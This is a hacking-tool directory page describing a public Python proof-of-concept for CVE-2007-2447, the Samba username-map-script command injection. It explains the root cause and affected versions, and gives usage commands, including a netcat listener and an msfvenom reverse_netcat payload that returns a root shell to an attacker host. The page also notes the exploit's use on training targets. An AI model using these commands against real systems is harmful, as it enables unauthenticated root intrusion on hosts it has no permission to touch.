Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2007-2447 — Samba 3.0.20 CVE-2007-2447 Exploit | Kitploit
Tools/GitHubGitHub/r3vpwnx/cve-2007-2447
Payload GenerationVulnerability AnalysisExploitationPenetration TestingRemote Access Tool
GitHubr3vpwnx/cve-2007-2447

CVE-2007-2447

Samba 3.0.20 CVE-2007-2447 Exploit

View Repository
2319 days agoNot yet reviewed
Share

CVE-2007-2447 - Samba "username map script" Command Injection (PoC)

Python 3 proof-of-concept for CVE-2007-2447, the classic Samba username map script command injection. When Samba is configured with a username map script, the supplied username is passed to a shell without sanitisation, so a username containing shell metacharacters is executed on the server. This yields unauthenticated remote code execution, typically as root.

This is a clean Python 3 reimplementation of a well-known, long-public technique (commonly seen on training targets such as HTB "Lame"). It is not original vulnerability research; it is provided as a readable, dependency-light PoC.

Affected versions

Samba 3.0.20 through 3.0.25rc3 when username map script is enabled in smb.conf. Tested against Samba 3.0.20.

Root cause

With username map script set, Samba invokes the configured script with the client-supplied username as an argument, via a shell, without escaping. A username of the form /=\`(backtick-delimited) is evaluated by the shell, running` on the server before authentication completes.

Requirements

  • Python 3
  • impacket (pip install impacket)
  • Metasploit Framework for msfvenom (used to build the reverse-netcat payload)
  • A listener for the reverse shell (e.g. nc -lvnp <port>)

Reproduction

python3 smb3.0.20_exp.py -t <target-ip> -l <lhost> -p <lport>
FlagDescription
-t, --targetTarget Samba server IP
-l, --lhostAttacker IP address (LHOST)
-p, --lportAttacker listening port (LPORT)

Start a listener (nc -lvnp <lport>) first; the payload is generated with msfvenom -p cmd/unix/reverse_netcat and delivered through the malicious username, returning a shell as root.

Impact

Unauthenticated remote code execution as root on vulnerable Samba hosts.

References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  • Samba security release: https://www.samba.org/samba/security/CVE-2007-2447.html

Disclaimer

For authorized security testing and education only. Use this only against systems you own or have explicit written permission to test. The author accepts no liability for misuse.

Author

Dilanka Kaushal Hewage (r3vpwnx)

  • Site: https://r3vpwnx.space
  • Contact: [email protected]

License

MIT - see LICENSE.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →